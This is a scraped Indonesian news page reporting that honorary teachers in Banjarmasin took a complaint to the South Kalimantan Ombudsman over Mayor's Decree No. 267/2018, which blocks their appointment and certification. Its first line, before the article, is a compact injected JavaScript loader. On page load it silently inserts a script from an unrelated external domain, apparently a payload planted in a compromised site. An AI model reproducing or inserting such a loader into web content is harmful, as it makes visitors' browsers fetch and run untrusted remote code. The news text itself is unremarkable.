(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Terkendala SK Walikota Banjarmasin, Guru Honorer Mengadu ke Ombudsman


BANJARMASIN, Forum Guru Honorer Sekolah Negeri (FGHSN) Banjarmasin mengadukan nasib ke Ombudsman Kalsel, Selasa (18/12). Mereka menyoal ketidaklulusan 39 guru honorer akibat SK Wali Kota Banjarmasin Nomor 267 Tahun 2018.

Ketua FGHSN Banjarmasin, M Ali Wardana, menuturkan guru honorer menuntut revisi SK wali kota tersebut karena tidak mengatur pengangkatan guru honorer. Menurut dia, SK itu mempersulit guru honorer ketika hendak mendapat sertifikasi.

Ali berkata SK pengangkatan guru honorer sangat penting. Sebab SK merupakan bukti status tenaga pendidik dari pemerintah daerah yang mengacu Nomor Unik Pendidik dan Tenaga Kependidikan (NUPTK). Selain itu, kata Ali, SK sebagai dasar keikutsertaan Pendidikan Profesi Guru (PPG) bagi honorer.

“Pendidikan Profesi Guru (PPG) itu penting bagi guru untuk mendapat sertifikat. Karena sertifikat itu nanti sebagai tunjangan dan salah satu syarat sesuai Undang-Undang Nomor 49 Tahun 2018 tentang Persyaratan untuk Rekrutmen Pegawai Pemerintah dengan Perjanjian Kerja (P3K),” kata Ali Wardana selepas pertemuan di Obudsman, Selasa (18/12) dilansir Kumparan.com.

Alih-alih lulus, Ali justru mendapat laporan ada 30 guru honorer kesulitan mendapat sertifikasi karena tidak ada SK pengangkatan guru honorer pada 2017 dan 2018. SK Wali Kota Banjarmasin No. 267 Tahun 2018 mengatur tentang pengajuan NUPTK. SK ini tak mengatur pengangkatan guru honorer.

Di sisi lain, kata Ali, Permendikbud Nomor 8 Tahun 2017 menyatakan setiap guru honorer yang dinaungi pemda, wajib mendapat penugasan dari Pemda. “Jadi para guru honorer di sini ingin meminta hak mereka yaitu hak untuk mendapatkan penugasaan langsung dari pemda atau dalam hal ini SK pengangkatan sebagai guru honorer,” ucap Ali.

Diketahui sebanyak kurang lebih 1300 guru honorer di kota Banjarmasin ini tidak pernah ditetapkan atau diangkat sebagai guru honorer, karena substansinya menyangkut dalam pendaftaran mereka di PPG LPMP (Lembaga Penjaminan Mutu Pendidikan).

Sekretaris Dinas Pendidikan Kota Banjarmasin, M Sarwani siap membantu untuk merevisi SK Wali Kota Banjarmasin yang memberatkan guru honorer ketika ingin mendapat NUPTK dan PPG.

“Kami bisa bantu untuk merevisi SK Wali kota tersebut. Dengan catatan tidak menuntut tunjangan daerah karena itu di luar wewenangnya. Walaupun prosesnya mungkin agak lama karena biar bagaimanapun kami tetap harus mengikuti proses yang ada,” kata Sarwani.

Adapun Kepala Ombudsman RI Kalimantan Selatan, Noorhalis Madjid mengatakan hari ini merupakan rapat koordinasi antara FGHSN, Dinas Pendidikan Banjarmasin, dan LPMP. Ia berharap ada solusi atas terbitnya SK Walikota No. 267 Tahun 2018.

Peserta rapat berupaya membantu para guru honorer di Banjarmasin lewat perubahan SK Walikota Nomor 267 Tahun 2018 agar nasib para guru honorer di Banjarmasin makin baik. (kum)

Reporter:Kum
Editor:Kumparan

Desy Arfianty

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

14 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

16 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

18 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

19 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

21 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

22 jam ago

This website uses cookies.